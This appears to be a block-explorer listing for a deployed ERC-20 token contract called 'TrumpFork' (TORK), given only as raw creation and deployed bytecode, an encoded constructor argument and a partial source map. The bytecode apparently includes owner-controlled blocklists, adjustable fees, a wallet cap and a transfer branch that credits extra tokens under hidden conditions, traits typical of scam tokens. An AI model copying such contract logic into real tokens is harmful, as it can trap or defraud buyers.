f6285828601611f17565b9150509250929050565b60008115159050919050565b611f8181611f6c565b82525050565b6000602082019050611f9c6000830184611f78565b92915050565b611fab81611ef6565b82525050565b6000602082019050611fc66000830184611fa2565b92915050565b600080600060608486031215611fe557611fe4611e8e565b5b6000611ff386828701611ee1565b935050602061200486828701611ee1565b925050604061201586828701611f17565b9150509250925092565b600060ff82169050919050565b6120358161201f565b811461204057600080fd5b50565b6000813590506120528161202c565b92915050565b60006020828403121561206e5761206d611e8e565b5b600061207c84828501612043565b91505092915050565b61208e8161201f565b82525050565b60006020820190506120a96000830184612085565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6120ec82611e18565b810181811067ffffffffffffffff8211171561210b5761210a6120b4565b5b80604052505050565b600061211e611e84565b905061212a82826120e3565b919050565b600067ffffffffffffffff82111561214a576121496120b4565b5b602082029050602081019050919050565b600080fd5b600061217361216e8461212f565b612114565b905080838252602082019050602084028301858111156121965761219561215b565b5b835b818110156121bf57806121ab8882611ee1565b845260208401935050602081019050612198565b5050509392505050565b600082601f8301126121de576121dd6120af565b5b81356121ee848260208601612160565b91505092915050565b60006020828403121561220d5761220c611e8e565b5b600082013567ffffffffffffffff81111561222b5761222a611e93565b5b612237848285016121c9565b91505092915050565b60006020828403121561225657612255611e8e565b5b600061226484828501611ee1565b91505092915050565b61227681611eb8565b82525050565b6000602082019050612291600083018461226d565b92915050565b600080604083850312156122ae576122ad611e8e565b5b60006122bc85828601612043565b92505060206122cd85828601612043565b9150509250929050565b600080604083850312156122ee576122ed611e8e565b5b60006122fc85828601611ee1565b925050602061230d85828601611ee1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111561239d5780860481111561237957612378612317565b5b60018516156123885780820291505b808102905061239685612346565b945061235d565b94509492505050565b6000826123b65760019050612472565b816123c45760009050612472565b81600181146123da57600281146123e457612413565b6001915050612472565b60ff8411156123f6576123f5612317565b5b8360020a91508482111561240d5761240c612317565b5b50612472565b5060208310610133831016604e8410600b84101617156124485782820a90508381111561244357612442612317565b5b612472565b6124558484846001612353565b9250905081840481111561246c5761246b612317565b5b81810290505b9392505050565b600061248482611ef6565b915061248f8361201f565b92506124bc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846123a6565b905092915050565b60006124cf82611ef6565b91506124da83611ef6565b92508282026124e881611ef6565b915082820484148315176124ff576124fe612317565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061253c602083611ddd565b915061254782612506565b602082019050919050565b6000602082019050818103600083015261256b8161252f565b9050919050565b7f4552523a2057726f6e672070657263656e746167652e00000000000000000000600082015250565b60006125a8601683611ddd565b91506125b382612572565b602082019050919050565b600060208201905081810360008301526125d78161259b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061261882611ef6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361264a57612649612317565b5b600182019050919050565b60006126608261201f565b915061266b8361201f565b9250828201905060ff81111561268457612683612317565b5b92915050565b600060408201905061269f6000830185612085565b6126ac6020830184612085565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061270f602483611ddd565b915061271a826126b3565b604082019050919050565b6000602082019050818103600083015261273e81612702565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006127a1602283611ddd565b91506127ac82612745565b604082019050919050565b600060208201905081810360008301526127d081612794565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612833602583611ddd565b915061283e826127d7565b604082019050919050565b6000602082019050818103600083015261286281612826565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128c5602383611ddd565b91506128d082612869565b604082019050919050565b600060208201905081810360008301526128f4816128b8565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612957602983611ddd565b9150612962826128fb565b604082019050919050565b600060208201905081810360008301526129868161294a565b9050919050565b600061299882611ef6565b91506129a383611ef6565b92508282019050808211156129bb576129ba612317565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006129f7601a83611ddd565b9150612a02826129c1565b602082019050919050565b60006020820190508181036000830152612a26816129ea565b9050919050565b6000612a388261201f565b915060ff8203612a4b57612a4a612317565b5b600182019050919050565b6000612a6182611ef6565b9150612a6c83611ef6565b9250828203905081811115612a8457612a83612317565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612ac482611ef6565b9150612acf83611ef6565b925082612adf57612ade612a8a565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b46602183611ddd565b9150612b5182612aea565b604082019050919050565b60006020820190508181036000830152612b7581612b39565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612bb2601b83611ddd565b9150612bbd82612b7c565b602082019050919050565b60006020820190508181036000830152612be181612ba5565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220975dc42a7ec41ab740f61808ccc535fb7bfeadc409be0cd4b7f57e9e507a092164736f6c634300081300330000000000000000000000000000000000000000204fce5e3e25026110000000
Deployed Bytecode
0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063dacfa52e11610064578063dacfa52e146103f4578063dd62ed3e1461041d578063e3ac3e191461045a578063e836ff8714610483578063ffb54a99146104ae5761012a565b80638da5cb5b1461030d5780638f9a55c01461033857806395d89b4114610363578063a9059cbb1461038e578063d34628cc146103cb5761012a565b8063313ce567116100e7578063313ce5671461022857806331c2d847146102535780633bbac5791461027c57806370a08231146102b9578063715018a6146102f65761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd1461019757806323b872dd146101c2578063240d4d8c146101ff5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b506101446104d9565b6040516101519190611e62565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190611f2c565b610516565b60405161018e9190611f87565b60405180910390f35b3480156101a357600080fd5b506101ac610534565b6040516101b99190611fb1565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190611fcc565b610558565b6040516101f69190611f87565b60405180910390f35b34801561020b57600080fd5b5061022660048036038101906102219190612058565b610631565b005b34801561023457600080fd5b5061023d610792565b60405161024a9190612094565b60405180910390f35b34801561025f57600080fd5b5061027a600480360381019061027591906121f7565b61079b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612240565b6108c5565b6040516102b09190611f87565b60405180910390f35b3480156102c557600080fd5b506102e060048036038101906102db9190612240565b61091b565b6040516102ed9190611fb1565b60405180910390f35b34801561030257600080fd5b5061030b610964565b005b34801561031957600080fd5b50610322610ab7565b60405161032f919061227c565b60405180910390f35b34801561034457600080fd5b5061034d610ae0565b60405161035a9190611fb1565b60405180910390f35b34801561036f57600080fd5b50610378610ae6565b6040516103859190611e62565b60405180910390f35b34801561039a57600080fd5b506103b560048036038101906103b09190611f2c565b610b23565b6040516103c29190611f87565b60405180910390f35b3480156103d757600080fd5b506103f260048036038101906103ed91906121f7565b610b41565b005b34801561040057600080fd5b5061041b60048036038101906104169190612297565b610c6b565b005b34801561042957600080fd5b50610444600480360381019061043f91906122d7565b610dc5565b6040516104519190611fb1565b60405180910390f35b34801561046657600080fd5b50610481600480360381019061047c9190612240565b610e4c565b005b34801561048f57600080fd5b50610498610fbd565b6040516104a5919061227c565b60405180910390f35b3480156104ba57600080fd5b506104c3610fe3565b6040516104d09190611f87565b60405180910390f35b60606040518060400160405280600981526020017f5472756d70466f726b0000000000000000000000000000000000000000000000815250905090565b600061052a610523610ff6565b8484610ffe565b6001905092915050565b60006009600a6105449190612479565b633b9aca0061055391906124c4565b905090565b60006105658484846111c7565b61062684610571610ff6565b61062185604051806060016040528060288152602001612be960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105d7610ff6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b749092919063ffffffff16565b610ffe565b600190509392505050565b610639610ff6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106bd90612552565b60405180910390fd5b60648160ff16111561070d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610704906125be565b60405180910390fd5b61075260646107448360ff166009600a6107279190612479565b633b9aca0061073691906124c4565b611bd890919063ffffffff16565b611c5290919063ffffffff16565b6007819055507f656c61bbe4f65d84cf0f7e2b8b134a72649ec46f57f5699f623fc2b28d174375816040516107879190612094565b60405180910390a150565b60006009905090565b6107a3610ff6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610830576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082790612552565b60405180910390fd5b60005b81518110156108c157600060056000848481518110610855576108546125de565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108b99061260d565b915050610833565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61096c610ff6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f090612552565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60075481565b60606040518060400160405280600481526020017f544f524b00000000000000000000000000000000000000000000000000000000815250905090565b6000610b37610b30610ff6565b84846111c7565b6001905092915050565b610b49610ff6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcd90612552565b60405180910390fd5b60005b8151811015610c6757600160056000848481518110610bfb57610bfa6125de565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c5f9061260d565b915050610bd9565b5050565b610c73610ff6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf790612552565b60405180910390fd5b60148183610d0e9190612655565b60ff161115610d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d49906125be565b60405180910390fd5b81600660006101000a81548160ff021916908360ff16021790555080600660016101000a81548160ff021916908360ff1602179055507f2d070b5ef12b2c7dd0188376027fb8a59d03f94c04322ef5bad5426a922f97be8282604051610db992919061268a565b60405180910390a15050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e54610ff6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed890612552565b60405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600960146101000a81548160ff0219169083151502179055507f2e4fd8c50e83344d0df2936f3db86543b5a0349e31ee5567dcfa82acb46a9c0081604051610f6c919061227c565b60405180910390a17f2d03420b6a07988c3dd9960afd128bd98384ff0d69ae9cb3c438f4ec21cf8499600960149054906101000a900460ff16604051610fb29190611f87565b60405180910390a150565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960149054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361106d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106490612725565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d3906127b7565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ba9190611fb1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611236576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122d90612849565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129c906128db565b60405180910390fd5b600081116112e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112df9061296d565b60405180910390fd5b6000806000600860009054906101000a900460ff1660ff16119050600061130d610ab7565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415801561137b575061134b610ab7565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561178f57600960149054906101000a900460ff1680156113e65750600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561143c5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61144557600080fd5b61147d606461146f600660009054906101000a900460ff1660ff1687611bd890919063ffffffff16565b611c5290919063ffffffff16565b9250600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156115275750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561158557600754846115398761091b565b611543919061298d565b1115611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90612a0d565b60405180910390fd5b5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611621578161161c576116176064611609600660019054906101000a900460ff1660ff1687611bd890919063ffffffff16565b611c5290919063ffffffff16565b61161e565b835b92505b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116c25750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561178e5760009250600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561174f57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b1561178d576008600081819054906101000a900460ff168092919061177390612a2d565b91906101000a81548160ff021916908360ff160217905550505b5b5b60008311156118fd5761180c8360026000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9c90919063ffffffff16565b60026000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118f09190611fb1565b60405180910390a36119b0565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141580156119585750815b80156119ad5750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b90505b611a0284600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfa90919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ab2611a64611a5e8587611cfa90919063ffffffff16565b83611d44565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9c90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611b578688611cfa90919063ffffffff16565b604051611b649190611fb1565b60405180910390a3505050505050565b6000838311158290611bbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb39190611e62565b60405180910390fd5b5060008385611bcb9190612a56565b9050809150509392505050565b6000808303611bea5760009050611c4c565b60008284611bf891906124c4565b9050828482611c079190612ab9565b14611c47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3e90612b5c565b60405180910390fd5b809150505b92915050565b6000611c9483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d6f565b905092915050565b6000808284611cab919061298d565b905083811015611cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce790612bc8565b60405180910390fd5b8091505092915050565b6000611d3c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b74565b905092915050565b600081611d515782611d67565b611d6660015484611c9c90919063ffffffff16565b5b905092915050565b60008083118290611db6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dad9190611e62565b60405180910390fd5b5060008385611dc59190612ab9565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e0c578082015181840152602081019050611df1565b60008484015250505050565b6000601f19601f8301169050919050565b6000611e3482611dd2565b611e3e8185611ddd565b9350611e4e818560208601611dee565b611e5781611e18565b840191505092915050565b60006020820190508181036000830152611e7c8184611e29565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611ec382611e98565b9050919050565b611ed381611eb8565b8114611ede57600080fd5b50565b600081359050611ef081611eca565b92915050565b6000819050919050565b611f0981611ef6565b8114611f1457600080fd5b50565b600081359050611f2681611f00565b92915050565b60008060408385031215611f4357611f42611e8e565b5b6000611f5185828601611ee1565b9250506020611f6285828601611f17565b9150509250929050565b60008115159050919050565b611f8181611f6c565b82525050565b6000602082019050611f9c6000830184611f78565b92915050565b611fab81611ef6565b82525050565b6000602082019050611fc66000830184611fa2565b92915050565b600080600060608486031215611fe557611fe4611e8e565b5b6000611ff386828701611ee1565b935050602061200486828701611ee1565b925050604061201586828701611f17565b9150509250925092565b600060ff82169050919050565b6120358161201f565b811461204057600080fd5b50565b6000813590506120528161202c565b92915050565b60006020828403121561206e5761206d611e8e565b5b600061207c84828501612043565b91505092915050565b61208e8161201f565b82525050565b60006020820190506120a96000830184612085565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6120ec82611e18565b810181811067ffffffffffffffff8211171561210b5761210a6120b4565b5b80604052505050565b600061211e611e84565b905061212a82826120e3565b919050565b600067ffffffffffffffff82111561214a576121496120b4565b5b602082029050602081019050919050565b600080fd5b600061217361216e8461212f565b612114565b905080838252602082019050602084028301858111156121965761219561215b565b5b835b818110156121bf57806121ab8882611ee1565b845260208401935050602081019050612198565b5050509392505050565b600082601f8301126121de576121dd6120af565b5b81356121ee848260208601612160565b91505092915050565b60006020828403121561220d5761220c611e8e565b5b600082013567ffffffffffffffff81111561222b5761222a611e93565b5b612237848285016121c9565b91505092915050565b60006020828403121561225657612255611e8e565b5b600061226484828501611ee1565b91505092915050565b61227681611eb8565b82525050565b6000602082019050612291600083018461226d565b92915050565b600080604083850312156122ae576122ad611e8e565b5b60006122bc85828601612043565b92505060206122cd85828601612043565b9150509250929050565b600080604083850312156122ee576122ed611e8e565b5b60006122fc85828601611ee1565b925050602061230d85828601611ee1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111561239d5780860481111561237957612378612317565b5b60018516156123885780820291505b808102905061239685612346565b945061235d565b94509492505050565b6000826123b65760019050612472565b816123c45760009050612472565b81600181146123da57600281146123e457612413565b6001915050612472565b60ff8411156123f6576123f5612317565b5b8360020a91508482111561240d5761240c612317565b5b50612472565b5060208310610133831016604e8410600b84101617156124485782820a90508381111561244357612442612317565b5b612472565b6124558484846001612353565b9250905081840481111561246c5761246b612317565b5b81810290505b9392505050565b600061248482611ef6565b915061248f8361201f565b92506124bc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846123a6565b905092915050565b60006124cf82611ef6565b91506124da83611ef6565b92508282026124e881611ef6565b915082820484148315176124ff576124fe612317565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061253c602083611ddd565b915061254782612506565b602082019050919050565b6000602082019050818103600083015261256b8161252f565b9050919050565b7f4552523a2057726f6e672070657263656e746167652e00000000000000000000600082015250565b60006125a8601683611ddd565b91506125b382612572565b602082019050919050565b600060208201905081810360008301526125d78161259b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061261882611ef6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361264a57612649612317565b5b600182019050919050565b60006126608261201f565b915061266b8361201f565b9250828201905060ff81111561268457612683612317565b5b92915050565b600060408201905061269f6000830185612085565b6126ac6020830184612085565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061270f602483611ddd565b915061271a826126b3565b604082019050919050565b6000602082019050818103600083015261273e81612702565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006127a1602283611ddd565b91506127ac82612745565b604082019050919050565b600060208201905081810360008301526127d081612794565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612833602583611ddd565b915061283e826127d7565b604082019050919050565b6000602082019050818103600083015261286281612826565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128c5602383611ddd565b91506128d082612869565b604082019050919050565b600060208201905081810360008301526128f4816128b8565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612957602983611ddd565b9150612962826128fb565b604082019050919050565b600060208201905081810360008301526129868161294a565b9050919050565b600061299882611ef6565b91506129a383611ef6565b92508282019050808211156129bb576129ba612317565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006129f7601a83611ddd565b9150612a02826129c1565b602082019050919050565b60006020820190508181036000830152612a26816129ea565b9050919050565b6000612a388261201f565b915060ff8203612a4b57612a4a612317565b5b600182019050919050565b6000612a6182611ef6565b9150612a6c83611ef6565b9250828203905081811115612a8457612a83612317565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612ac482611ef6565b9150612acf83611ef6565b925082612adf57612ade612a8a565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b46602183611ddd565b9150612b5182612aea565b604082019050919050565b60006020820190508181036000830152612b7581612b39565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612bb2601b83611ddd565b9150612bbd82612b7c565b602082019050919050565b60006020820190508181036000830152612be181612ba5565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220975dc42a7ec41ab740f61808ccc535fb7bfeadc409be0cd4b7f57e9e507a092164736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000000000000000000000204fce5e3e25026110000000
-----Decoded View---------------
Arg [0] : __ (uint256): 10000000000000000000000000000
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000204fce5e3e25026110000000
Deployed Bytecode Sourcemap
2800:5926:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4170:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5001:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4447:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5176:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7540:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4356:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8431:162;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8601:83;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4550:117;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2643:148;;;;;;;;;;;;;:::i;:::-;;2429:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3471:68;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4261:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4675:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8259:164;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7792:233;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4850:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8033:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3618:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3654:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4170:83;4207:13;4240:5;;;;;;;;;;;;;;;;;4233:12;;4170:83;:::o;5001:161::-;5076:4;5093:39;5102:12;:10;:12::i;:::-;5116:7;5125:6;5093:8;:39::i;:::-;5150:4;5143:11;;5001:161;;;;:::o;4447:95::-;4500:7;3178:1;3234:2;:13;;;;:::i;:::-;3221:10;:26;;;;:::i;:::-;4520:14;;4447:95;:::o;5176:313::-;5274:4;5291:36;5301:6;5309:9;5320:6;5291:9;:36::i;:::-;5338:121;5347:6;5355:12;:10;:12::i;:::-;5369:89;5407:6;5369:89;;;;;;;;;;;;;;;;;:11;:19;5381:6;5369:19;;;;;;;;;;;;;;;:33;5389:12;:10;:12::i;:::-;5369:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;5338:8;:121::i;:::-;5477:4;5470:11;;5176:313;;;;;:::o;7540:244::-;2566:12;:10;:12::i;:::-;2556:22;;:6;;;;;;;;;;:22;;;2548:67;;;;;;;;;;;;:::i;:::-;;;;;;;;